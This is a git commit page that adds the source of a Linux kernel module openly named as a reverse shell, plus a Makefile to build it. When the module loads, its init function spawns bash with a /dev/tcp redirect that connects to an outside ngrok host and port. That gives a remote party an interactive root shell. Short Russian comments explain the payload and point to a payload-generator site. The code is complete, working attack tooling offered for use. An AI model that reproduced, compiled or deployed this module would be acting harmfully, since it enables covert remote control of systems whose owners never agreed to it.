upload source code
This commit is contained in:
parent
794758b8ac
commit
868d08b1ca
7
Makefile
Normal file
7
Makefile
Normal file
|
@ -0,0 +1,7 @@
|
||||||
|
obj-m += reverse-shell.o
|
||||||
|
|
||||||
|
all:
|
||||||
|
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
|
||||||
|
|
||||||
|
clean:
|
||||||
|
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
|
|
@ -1,3 +1,3 @@
|
||||||
# lkm_reverse_shell
|
# LKM Reverse Shell
|
||||||
|
|
||||||
A Linux kernel module that performs a reverse shell
|
A Linux kernel module that performs a reverse shell
|
29
reverse-shell.c
Normal file
29
reverse-shell.c
Normal file
|
@ -0,0 +1,29 @@
|
||||||
|
#include <linux/kmod.h>
|
||||||
|
#include <linux/module.h>
|
||||||
|
|
||||||
|
MODULE_LICENSE("GPL");
|
||||||
|
MODULE_AUTHOR("Hacker");
|
||||||
|
MODULE_DESCRIPTION("Reverse Shell");
|
||||||
|
MODULE_VERSION("1.0");
|
||||||
|
|
||||||
|
// для составления нужной нагрузки можно воспользоваться веб-ресурсом https://www.revshells.com
|
||||||
|
char* argv[] = {
|
||||||
|
"/bin/bash",
|
||||||
|
"-c",
|
||||||
|
"bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/12110 0>&1",
|
||||||
|
NULL
|
||||||
|
};
|
||||||
|
|
||||||
|
static char* envp[] = { "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
|
||||||
|
|
||||||
|
// функция call_usermodehelper используется для того, чтобы создать процесс в пространстве пользователя из пространства ядра
|
||||||
|
static int __init reverse_shell_init(void) {
|
||||||
|
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void __exit reverse_shell_exit(void) {
|
||||||
|
printk(KERN_INFO "Exiting\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
module_init(reverse_shell_init);
|
||||||
|
module_exit(reverse_shell_exit);
|
Loading…
Reference in New Issue
Block a user